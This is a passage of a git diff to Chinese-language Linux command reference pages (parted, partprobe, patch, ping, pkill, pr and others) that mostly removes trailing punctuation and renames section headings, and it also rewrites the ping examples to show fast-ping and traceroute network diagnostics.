a/Linux_man_cn/parted.md +++ b/Linux_man_cn/parted.md @@ -5,9 +5,9 @@ parted ## 说明 -**parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。 +**parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区 -### 语法 +## 选项 ``` parted(选项)(参数) @@ -16,29 +16,29 @@ parted(选项)(参数) ``` --h:显示帮助信息; --i:交互式模式; --s:脚本模式,不提示用户; --v:显示版本号。 +-h:显示帮助信息 +-i:交互式模式 +-s:脚本模式,不提示用户 +-v:显示版本号 ``` ### 参数 -* 设备:指定要分区的硬盘所对应的设备文件; -* 命令:要执行的parted命令。 +* 设备:指定要分区的硬盘所对应的设备文件 +* 命令:要执行的parted命令 -### 实例 +## 实例 -从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。 +从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引 -红帽企业 Linux 4 Update 4供对大于 2 terabytes(TB)的磁盘设备的支持。 +红帽企业 Linux 4 Update 4供对大于 2 terabytes(TB)的磁盘设备的支持 请参考以下操作步骤: 注: -* 绿色代表你需要使用的命令。 -* 红色代表你需要注意到的输出信息,在后续需要使用。 +* 绿色代表你需要使用的命令 +* 红色代表你需要注意到的输出信息,在后续需要使用 ``` [root@localhost ~]# fdisk -l @@ -78,7 +78,7 @@ Minor 起始点 终止点 文件系统 名称 标志 ``` -如果必要,不要忘记更新`/etc/fstab`。 +如果必要,不要忘记更新`/etc/fstab` ``` [root@localhost ~]# fdisk -l diff --git a/Linux_man_cn/partprobe.md b/Linux_man_cn/partprobe.md index ed3bace..4151e87 100644 --- a/Linux_man_cn/partprobe.md +++ b/Linux_man_cn/partprobe.md @@ -5,9 +5,9 @@ partprobe ## 说明 -**partprobe命令** 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区。 +**partprobe命令** 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区 -### 语法 +## 选项 ``` partprobe(选项)(参数) @@ -16,17 +16,17 @@ partprobe(选项)(参数) ``` --d:不更新内核; --s:显示摘要和分区; --h:显示帮助信息; --v:显示版本信息。 +-d:不更新内核 +-s:显示摘要和分区 +-h:显示帮助信息 +-v:显示版本信息 ``` ### 参数 -设备:指定需要确认分区表改变的硬盘对应的设备文件。 +设备:指定需要确认分区表改变的硬盘对应的设备文件 -### 实例 +## 实例 使用partprobe不重启系统添加新的磁盘分区,主机自带硬盘超过300GB,目前只划分使用了3个主分区,不到70GB,如下: @@ -105,7 +105,7 @@ Syncing disks. [root@localhost ~]# partprobe ``` -使用fdisk工具只是将分区信息写到磁盘,如果需要mkfs磁盘分区则需要重启系统,而使用partprobe则可以使kernel重新读取分区信息,从而避免重启系统。 +使用fdisk工具只是将分区信息写到磁盘,如果需要mkfs磁盘分区则需要重启系统,而使用partprobe则可以使kernel重新读取分区信息,从而避免重启系统 **第3步 格式化文件系统:** @@ -152,6 +152,6 @@ tmpfs 2023936 0 2023936 0% /dev/shm /dev/sda4 96132968 192312 91057300 1% /data ``` -使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。 +使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区 diff --git a/Linux_man_cn/paste.md b/Linux_man_cn/paste.md index 7ff008c..5f5517f 100644 --- a/Linux_man_cn/paste.md +++ b/Linux_man_cn/paste.md @@ -5,9 +5,9 @@ paste ## 说明 -**paste命令** 用于将多个文件按照列队列进行合并。 +**paste命令** 用于将多个文件按照列队列进行合并 -### 语法 +## 选项 ``` paste(选项)(参数) @@ -16,12 +16,12 @@ paste(选项)(参数) ``` --d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符; --s或——serial串列进行而非平行处理。 +-d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符 +-s或——serial串列进行而非平行处理 ``` ### 参数 -文件列表:指定需要合并的文件列表。 +文件列表:指定需要合并的文件列表 diff --git a/Linux_man_cn/patch.md b/Linux_man_cn/patch.md index 6ff71e1..95b1a24 100644 --- a/Linux_man_cn/patch.md +++ b/Linux_man_cn/patch.md @@ -5,9 +5,9 @@ patch ## 说明 -**patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。 +**patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一 -### 语法 +## 选项 ``` patch(选项)(参数) @@ -16,43 +16,43 @@ patch(选项)(参数) ``` --b或--backup:备份每一个原始文件; --B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称; --c或--context:把修补数据解译成关联性的差异; --d<工作目录>或--directory=<工作目录>:设置工作目录; --D<标示符号>或--ifdef=<标示符号>:用指定的符号把改变的地方标示出来; --e或--ed:把修补数据解译成ed指令可用的叙述文件; --E或--remove-empty-files:若修补过后输出的文件其内容是一片空白,则移除该文件; --f或--force:此参数的效果和指定"-t"参数类似,但会假设修补数据的版本为新版本; --F<监别列数>或--fuzz<监别列数>:设置监别列数的最大值; --g<控制数值>或--get=<控制数值>:设置以RSC或SCCS控制修补作业; --i<修补文件>或--input=<修补文件>:读取指定的修补问家你; --l或--ignore-whitespace:忽略修补数据与输入数据的跳格,空格字符; --n或--normal:把修补数据解译成一般性的差异; --N或--forward:忽略修补的数据较原始文件的版本更旧,或该版本的修补数据已使 用过; --o<输出文件>或--output=<输出文件>:设置输出文件的名称,修补过的文件会以该名称存放; --p<剥离层级>或--strip=<剥离层级>:设置欲剥离几层路径名称; --f<拒绝文件>或--reject-file=<拒绝文件>:设置保存拒绝修补相关信息的文件名称,预设的文件名称为.rej; --R或--reverse:假设修补数据是由新旧文件交换位置而产生; --s或--quiet或--silent:不显示指令执行过程,除非发生错误; --t或--batch:自动略过错误,不询问任何问题; --T或--set-time:此参数的效果和指定"-Z"参数类似,但以本地时间为主; --u或--unified:把修补数据解译成一致化的差异; --v或--version:显示版本信息; --V<备份方式>或--version-control=<备份方式>:用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,这个字符串不仅可用"-z"参数变更,当使用"-V"参数指定不同备份方式时,也会产生不同字尾的备份字符串; --Y<备份字首字符串>或--basename-prefix=--<备份字首字符串>:设置文件备份时,附加在文件基本名称开头的字首字符串; --z<备份字尾字符串>或--suffix=<备份字尾字符串>:此参数的效果和指定"-B"参数类似,差别在于修补作业使用的路径与文件名若为src/linux/fs/super.c,加上"backup/"字符串后,文件super.c会备份于/src/linux/fs/backup目录里; --Z或--set-utc:把修补过的文件更改,存取时间设为UTC; ---backup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,才备份文件; ---binary:以二进制模式读写数据,而不通过标准输出设备; ---help:在线帮助; ---nobackup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,不要备份文件; ---verbose:详细显示指令的执行过程。 +-b或--backup:备份每一个原始文件 +-B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称 +-c或--context:把修补数据解译成关联性的差异 +-d<工作目录>或--directory=<工作目录>:设置工作目录 +-D<标示符号>或--ifdef=<标示符号>:用指定的符号把改变的地方标示出来 +-e或--ed:把修补数据解译成ed指令可用的叙述文件 +-E或--remove-empty-files:若修补过后输出的文件其内容是一片空白,则移除该文件 +-f或--force:此参数的效果和指定"-t"参数类似,但会假设修补数据的版本为新版本 +-F<监别列数>或--fuzz<监别列数>:设置监别列数的最大值 +-g<控制数值>或--get=<控制数值>:设置以RSC或SCCS控制修补作业 +-i<修补文件>或--input=<修补文件>:读取指定的修补问家你 +-l或--ignore-whitespace:忽略修补数据与输入数据的跳格,空格字符 +-n或--normal:把修补数据解译成一般性的差异 +-N或--forward:忽略修补的数据较原始文件的版本更旧,或该版本的修补数据已使 用过 +-o<输出文件>或--output=<输出文件>:设置输出文件的名称,修补过的文件会以该名称存放 +-p<剥离层级>或--strip=<剥离层级>:设置欲剥离几层路径名称 +-f<拒绝文件>或--reject-file=<拒绝文件>:设置保存拒绝修补相关信息的文件名称,预设的文件名称为.rej +-R或--reverse:假设修补数据是由新旧文件交换位置而产生 +-s或--quiet或--silent:不显示指令执行过程,除非发生错误 +-t或--batch:自动略过错误,不询问任何问题 +-T或--set-time:此参数的效果和指定"-Z"参数类似,但以本地时间为主 +-u或--unified:把修补数据解译成一致化的差异 +-v或--version:显示版本信息 +-V<备份方式>或--version-control=<备份方式>:用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,这个字符串不仅可用"-z"参数变更,当使用"-V"参数指定不同备份方式时,也会产生不同字尾的备份字符串 +-Y<备份字首字符串>或--basename-prefix=--<备份字首字符串>:设置文件备份时,附加在文件基本名称开头的字首字符串 +-z<备份字尾字符串>或--suffix=<备份字尾字符串>:此参数的效果和指定"-B"参数类似,差别在于修补作业使用的路径与文件名若为src/linux/fs/super.c,加上"backup/"字符串后,文件super.c会备份于/src/linux/fs/backup目录里 +-Z或--set-utc:把修补过的文件更改,存取时间设为UTC +--backup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,才备份文件 +--binary:以二进制模式读写数据,而不通过标准输出设备 +--help:在线帮助 +--nobackup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,不要备份文件 +--verbose:详细显示指令的执行过程 ``` ### 参数 -* 原文件:指定需要打补丁的原始文件; -* 补丁文件:指定补丁文件。 +* 原文件:指定需要打补丁的原始文件 +* 补丁文件:指定补丁文件 diff --git a/Linux_man_cn/pathchk.md b/Linux_man_cn/pathchk.md index 8dd6b2d..ea93043 100644 --- a/Linux_man_cn/pathchk.md +++ b/Linux_man_cn/pathchk.md @@ -5,9 +5,9 @@ pathchk ## 说明 -**pathchk命令** 用来检查文件中不可移植的部分。 +**pathchk命令** 用来检查文件中不可移植的部分 -### 语法 +## 选项 ``` pathchk(选项)(参数) @@ -16,16 +16,16 @@ pathchk(选项)(参数) ``` --p:检查大多数的POSIX系统; --P:检查空名字和“-”开头的文件; ---portability:检查所有的POSIX系统,等同于“-P-p”选项; ---help:显示帮助; ---wersion:显示版本号。 +-p:检查大多数的POSIX系统 +-P:检查空名字和“-”开头的文件 +--portability:检查所有的POSIX系统,等同于“-P-p”选项 +--help:显示帮助 +--wersion:显示版本号 ``` ### 参数 -* 文件:带路径信息的文件; -* 后缀:可选参数,指定要去除的文件后缀字符串。 +* 文件:带路径信息的文件 +* 后缀:可选参数,指定要去除的文件后缀字符串 diff --git a/Linux_man_cn/perf.md b/Linux_man_cn/perf.md index 1c6afb7..45251c3 100644 --- a/Linux_man_cn/perf.md +++ b/Linux_man_cn/perf.md @@ -1 +1,2 @@ -https://github.com/brendangregg/perf-tools \ No newline at end of file +https://github.com/brendangregg/perf-tools +https://itefix.net/httperf \ No newline at end of file diff --git a/Linux_man_cn/perl.md b/Linux_man_cn/perl.md index 2b84af4..1cf0939 100644 --- a/Linux_man_cn/perl.md +++ b/Linux_man_cn/perl.md @@ -2,7 +2,7 @@ ## 说明 -**perl命令** 是perl语言解释器,负责解释执行perl语言程序。 +**perl命令** 是perl语言解释器,负责解释执行perl语言程序 ## 选项 diff --git a/Linux_man_cn/pfctl.md b/Linux_man_cn/pfctl.md index 40a67d2..beaaa8b 100644 --- a/Linux_man_cn/pfctl.md +++ b/Linux_man_cn/pfctl.md @@ -5,9 +5,9 @@ PF防火墙的配置命令 ## 说明 -**pfctl命令** 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责。 +**pfctl命令** 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责 -PF防火墙的功能很多,本站只列举一些基本配置。 +PF防火墙的功能很多,本站只列举一些基本配置 ### 激活 @@ -17,7 +17,7 @@ PF防火墙的功能很多,本站只列举一些基本配置。 pf=yes ``` -重启操作系统让配置生效。 +重启操作系统让配置生效 也可以通过pfctl程序启动和停止pf: @@ -26,25 +26,25 @@ pf=yes # pfctl -d ``` -注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。 +注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入 ### 配置 -系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。 +系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性 **pf.conf文件有7个部分:** -1. 宏:用户定义的变量,包括IP地址,接口名称等等。 -2. 表:一种用来保存IP地址列表的结构。 -3. 选项:控制PF如何工作的变量。 -4. 整形:重新处理数据包,进行正常化和碎片整理。 -5. 排队:提供带宽控制和数据包优先级控制。 -6. 转换:控制网络地址转换和数据包重定向。 -7. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。 +1. 宏:用户定义的变量,包括IP地址,接口名称等等 +2. 表:一种用来保存IP地址列表的结构 +3. 选项:控制PF如何工作的变量 +4. 整形:重新处理数据包,进行正常化和碎片整理 +5. 排队:提供带宽控制和数据包优先级控制 +6. 转换:控制网络地址转换和数据包重定向 +7. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止 -除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。 +除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的 -空行会被忽略,以#开头的行被认为是注释。 +空行会被忽略,以#开头的行被认为是注释 ### 控制 @@ -63,6 +63,6 @@ pf=yes # pfctl -sa 显示任何可显示的 ``` -完整的命令列表,请参阅pfctl的man手册页。 +完整的命令列表,请参阅pfctl的man手册页 diff --git a/Linux_man_cn/pgrep.md b/Linux_man_cn/pgrep.md index eab8e36..3e9cf5b 100644 --- a/Linux_man_cn/pgrep.md +++ b/Linux_man_cn/pgrep.md @@ -5,9 +5,9 @@ pgrep ## 说明 -**pgrep命令** 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。 +**pgrep命令** 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合 -### 语法 +## 选项 ``` pgrep(选项)(参数) @@ -16,20 +16,20 @@ pgrep(选项)(参数) ``` --o:仅显示找到的最小(起始)进程号; --n:仅显示找到的最大(结束)进程号; --l:显示进程名称; --P:指定父进程号; --g:指定进程组; --t:指定开启进程的终端; --u:指定进程的有效用户ID。 +-o:仅显示找到的最小(起始)进程号 +-n:仅显示找到的最大(结束)进程号 +-l:显示进程名称 +-P:指定父进程号 +-g:指定进程组 +-t:指定开启进程的终端 +-u:指定进程的有效用户ID ``` ### 参数 -进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 +进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式 -### 实例 +## 实例 ``` pgrep -lo httpd diff --git a/Linux_man_cn/php.md b/Linux_man_cn/php.md index 13c593d..bd652ba 100644 --- a/Linux_man_cn/php.md +++ b/Linux_man_cn/php.md @@ -5,9 +5,9 @@ PHP语言的命令行接口 ## 说明 -**php命令** 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。 +**php命令** 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序 -### 语法 +## 选项 ``` php(选项)(参数) @@ -16,12 +16,12 @@ php(选项)(参数) ``` --a:进入交互模式; --c:指定“php.ini”的搜索路径。 +-a:进入交互模式 +-c:指定“php.ini”的搜索路径 ``` ### 参数 -文件:要执行的php脚本。 +文件:要执行的php脚本 diff --git a/Linux_man_cn/pico.md b/Linux_man_cn/pico.md index e83f934..8d2afa4 100644 --- a/Linux_man_cn/pico.md +++ b/Linux_man_cn/pico.md @@ -8,21 +8,21 @@ pico **pico命令** 是功能强大全屏幕的文本编辑器。pico的操作简单,提供了丰富的快捷键。常用的快捷键如下: ``` -Ctrl+G:获得pico的帮助信息; -Ctrl+O:保存文件内容,如果是新文件,需要输入文件名; -Ctrl+R:在当前光标位置插入一个指定的文本文件内容; -Ctrl+Y:向前翻页; -Ctrl+V:向后翻页; -Ctrl+w:对文件进行搜索; -Ctrl+K:剪切当前文件行到粘贴缓冲区; -Ctrl+U:粘贴缓冲区中的内容到当前光标所在位置; -Ctrl+C:显示当前光标位置; -Ctrl+T:调用拼写检查功能,对文档进行拼写检查; -Ctrl+J:段落重排; -Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。 +Ctrl+G:获得pico的帮助信息 +Ctrl+O:保存文件内容,如果是新文件,需要输入文件名 +Ctrl+R:在当前光标位置插入一个指定的文本文件内容 +Ctrl+Y:向前翻页 +Ctrl+V:向后翻页 +Ctrl+w:对文件进行搜索 +Ctrl+K:剪切当前文件行到粘贴缓冲区 +Ctrl+U:粘贴缓冲区中的内容到当前光标所在位置 +Ctrl+C:显示当前光标位置 +Ctrl+T:调用拼写检查功能,对文档进行拼写检查 +Ctrl+J:段落重排 +Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改 ``` -### 语法 +## 选项 ``` pico(选项)(参数) @@ -31,30 +31,30 @@ pico(选项)(参数) ``` --b:开启置换的功能; --d:开启删除的功能; --e:使用完整的文件名称; --f:支持键盘上F1、F2...功能键; --g:显示光标; --h:在线帮助; --j:开启切换的功能; --k:预设pico在使用剪下命令时,会把光标所在的列的内容全部删除; --m:开启鼠标支持的功能,您可用鼠标点选命令列表; --n<间隔秒数>:设置多久检查一次新邮件; --o<工作目录>:设置工作目录; --q:忽略预设值; --r<编辑页宽>:设置编辑文件的页宽; --s<拼字检查器>:另外指定拼字检查器; --t:启动工具模式; --v:启动阅读模式,用户只能观看,无法编辑文件的内容; --w:关闭自动换行,通过这个参数可以编辑内容很长的列; --x:关闭页面下方的命令列表; --z:让pico可被Ctrl+z中断,暂存在后台作业里; -+<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。 +-b:开启置换的功能 +-d:开启删除的功能 +-e:使用完整的文件名称 +-f:支持键盘上F1、F2...功能键 +-g:显示光标 +-h:在线帮助 +-j:开启切换的功能 +-k:预设pico在使用剪下命令时,会把光标所在的列的内容全部删除 +-m:开启鼠标支持的功能,您可用鼠标点选命令列表 +-n<间隔秒数>:设置多久检查一次新邮件 +-o<工作目录>:设置工作目录 +-q:忽略预设值 +-r<编辑页宽>:设置编辑文件的页宽 +-s<拼字检查器>:另外指定拼字检查器 +-t:启动工具模式 +-v:启动阅读模式,用户只能观看,无法编辑文件的内容 +-w:关闭自动换行,通过这个参数可以编辑内容很长的列 +-x:关闭页面下方的命令列表 +-z:让pico可被Ctrl+z中断,暂存在后台作业里 ++<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑 ``` ### 参数 -文件:指定要编辑的文件。 +文件:指定要编辑的文件 diff --git a/Linux_man_cn/pidof.md b/Linux_man_cn/pidof.md index 4cabf6c..ce5278a 100644 --- a/Linux_man_cn/pidof.md +++ b/Linux_man_cn/pidof.md @@ -2,15 +2,15 @@ ## 说明 -**pidof命令** 用于查找指定名称的进程的进程号id号。 +**pidof命令** 用于查找指定名称的进程的进程号id号 ```sh --s:仅返回一个进程pid号; --c:仅显示具有相同“root”目录的进程; --x:显示由脚本开启的进程; --o:指定不显示的进程ID。 +-s:仅返回一个进程pid号 +-c:仅显示具有相同“root”目录的进程 +-x:显示由脚本开启的进程 +-o:指定不显示的进程ID ``` ## 实例 diff --git a/Linux_man_cn/ping.md b/Linux_man_cn/ping.md index f6894b0..3a7ab3d 100644 --- a/Linux_man_cn/ping.md +++ b/Linux_man_cn/ping.md @@ -1,55 +1,38 @@ -ping -=== - -测试主机之间网络的连通性 +# **ping** ## 说明 -**ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。 - -### 语法 - -``` -ping(选项)(参数) +**ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应 +该信息,因而得知该主机运作正常 + +## 选项 + +```markdown +-d:使用Socket的SO_DEBUG功能 +-c<完成次数>:设置完成要求回应的次数 +-f:极限检测 +-i<间隔秒数>:指定收发信息的间隔时间 +-I<网络界面>:使用指定的网络界面送出数据包 +-l<前置载入>:设置在送出要求信息之前,先行发出的数据包 +-n:只输出数值 +-p<范本样式>:设置填满数据包的范本样式 +-q:不显示指令执行过程,开头和结尾的相关信息除外 +-r:忽略普通的Routing Table,直接将数据包送到远端主机上 +-R:记录路由过程 +-s<数据包大小>:设置数据包的大小 +-t<存活数值>:设置存活数值TTL的大小 +-v:详细显示指令的执行过程 ``` - +## 实例 -``` --d:使用Socket的SO_DEBUG功能; --c<完成次数>:设置完成要求回应的次数; --f:极限检测; --i<间隔秒数>:指定收发信息的间隔时间; --I<网络界面>:使用指定的网络界面送出数据包; --l<前置载入>:设置在送出要求信息之前,先行发出的数据包; --n:只输出数值; --p<范本样式>:设置填满数据包的范本样式; --q:不显示指令执行过程,开头和结尾的相关信息除外; --r:忽略普通的Routing Table,直接将数据包送到远端主机上; --R:记录路由过程; --s<数据包大小>:设置数据包的大小; --t<存活数值>:设置存活数值TTL的大小; --v:详细显示指令的执行过程。 -``` +```bash +ping -q -i0 -c 256 -l 4096 -s 1450 -S 10485760 -W 1 hostname # 使用-i0选项以尽可能快的速度发送ICMP数据包,必须时root用户 -### 参数 +traceroute --icmp 198.124.42.201 # 使用traceroute查找路径中的跃点 +ping -q -i0 -c 256 -l 4096 -s 1450 -S 10485760 -W 1 198.124.238.153 # 测试每一跳,看看损失从哪里开始 -目的主机:指定发送ICMP报文的目的主机。 -### 实例 - -``` -[root@AY1307311912260196fcZ ~]# ping www.jsdig.com -PING host.1.jsdig.com (100.42.212.8) 56(84) bytes of data. -64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=1 ttl=50 time=177 ms -64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=2 ttl=50 time=178 ms -64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=3 ttl=50 time=174 ms -64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=4 ttl=50 time=177 ms -...按Ctrl+C结束 - ---- host.1.jsdig.com ping statistics --- -4 packets transmitted, 4 received, 0% packet loss, time 2998ms -rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms ``` diff --git a/Linux_man_cn/pkill.md b/Linux_man_cn/pkill.md index b07a636..6fd1c66 100644 --- a/Linux_man_cn/pkill.md +++ b/Linux_man_cn/pkill.md @@ -5,9 +5,9 @@ pkill ## 说明 -**pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。 +**pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉 -### 语法 +## 选项 ``` pkill(选项)(参数) @@ -16,18 +16,18 @@ pkill(选项)(参数) ``` --o:仅向找到的最小(起始)进程号发送信号; --n:仅向找到的最大(结束)进程号发送信号; --P:指定父进程号发送信号; --g:指定进程组; --t:指定开启进程的终端。 +-o:仅向找到的最小(起始)进程号发送信号 +-n:仅向找到的最大(结束)进程号发送信号 +-P:指定父进程号发送信号 +-g:指定进程组 +-t:指定开启进程的终端 ``` ### 参数 -进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 +进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式 -### 实例 +## 实例 ``` pgrep -l gaim @@ -36,6 +36,6 @@ pgrep -l gaim pkill gaim ``` -也就是说:kill对应的是PID,pkill对应的是command。 +也就是说:kill对应的是PID,pkill对应的是command diff --git a/Linux_man_cn/popd.md b/Linux_man_cn/popd.md index ce4d8d2..19d119b 100644 --- a/Linux_man_cn/popd.md +++ b/Linux_man_cn/popd.md @@ -5,9 +5,9 @@ popd ## 说明 -**popd命令** 用于删除目录栈中的记录;如果popd命令不加任何参数,则会先删除目录栈最上面的记录,然后切换到删除过后的目录栈中的最上面的目录。 +**popd命令** 用于删除目录栈中的记录;如果popd命令不加任何参数,则会先删除目录栈最上面的记录,然后切换到删除过后的目录栈中的最上面的目录 -### 语法 +## 选项 ``` pushd(选项)(参数) @@ -16,12 +16,12 @@ pushd(选项)(参数) ``` -+N:将第N个目录删除(从左边数起,数字从0开始); --N:将第N个目录删除(从右边数起,数字从0开始); --n:将目录出栈时,不切换目录。 ++N:将第N个目录删除(从左边数起,数字从0开始) +-N:将第N个目录删除(从右边数起,数字从0开始) +-n:将目录出栈时,不切换目录 ``` -### 实例 +## 实例 ``` root@Mylinux:/tmp/dir4# popd(相当于popd +0) diff --git a/Linux_man_cn/ppp-off.md b/Linux_man_cn/ppp-off.md index 8714f47..ccd2ef3 100644 --- a/Linux_man_cn/ppp-off.md +++ b/Linux_man_cn/ppp-off.md @@ -5,9 +5,9 @@ ppp-off ## 说明 -这是Slackware发行版内附的程序,让用户切断PPP的网络连线。 +这是Slackware发行版内附的程序,让用户切断PPP的网络连线 -### 语法 +## 选项 ``` ppp-off diff --git a/Linux_man_cn/pr.md b/Linux_man_cn/pr.md index ad23a14..a4b5e23 100644 --- a/Linux_man_cn/pr.md +++ b/Linux_man_cn/pr.md @@ -2,7 +2,7 @@ ## 说明 -**pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。 +**pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题 ## 选项 @@ -13,8 +13,8 @@ Mandatory arguments to long options are mandatory for short options too. +首页[:末页], --pages=首页[:末页] 在指定的首页/末页处开始/停止打印 -列数, --columns=列数 - 输出指定的列数。如果指定了-a 选项,则从上到下列印。 - 程序会自动在每一页均衡每列占用的行数。 + 输出指定的列数。如果指定了-a 选项,则从上到下列印 + 程序会自动在每一页均衡每列占用的行数 -a, --across 设置每列从上到下输出,配合"-列数"选项一起使用 -c, --show-control-chars 使用头标(^G)和八进制反斜杠标记 @@ -39,12 +39,12 @@ Mandatory arguments to long options are mandatory for short options too. -N, --first-line-number=数字 从首页的首行以指定数字开始计数(参看"+首页") -o, --indent=缩进量 - 将每行缩进(默认0)个空格,不影响-w 或-W 参数, + 将每行缩进(默认0)个空格,不影响-w 或-W 参数 缩进亮的值将被加入页面宽度 -r, --no-file-warnings 当文件无法打开时忽略警告 -s[CHAR], --separator[=CHAR] - 由单个字符分隔各列,未附加-w 时默认为制表符,否则为空。 + 由单个字符分隔各列,未附加-w 时默认为制表符,否则为空 另外除非-w 选项被指定,否则"-s[CHAR]"会屏蔽三个列相关 的截行选项(-COLUMN|-a -COLUMN|-m) -S[STRING], --sep-string[=STRING] @@ -57,10 +57,10 @@ Mandatory arguments to long options are mandatory for short options too. -v, --show-nonprinting 使用八进制反斜杠标记 -w, --width=页面宽度 - 为多栏页面输出将设置为指定的字符数(默认72), - 仅当-s[char] 选项不启用时有效(即保持默认值 72)。 + 为多栏页面输出将设置为指定的字符数(默认72) + 仅当-s[char] 选项不启用时有效(即保持默认值 72) -W, --page-width=页宽 - 总是将页宽设置为指定的(默认72)字符数, + 总是将页宽设置为指定的(默认72)字符数 除非-J 选项启用总是截断行,此参数与-S 或-s 冲突 如果页长<=10 则使用-t 选项。如果FILE 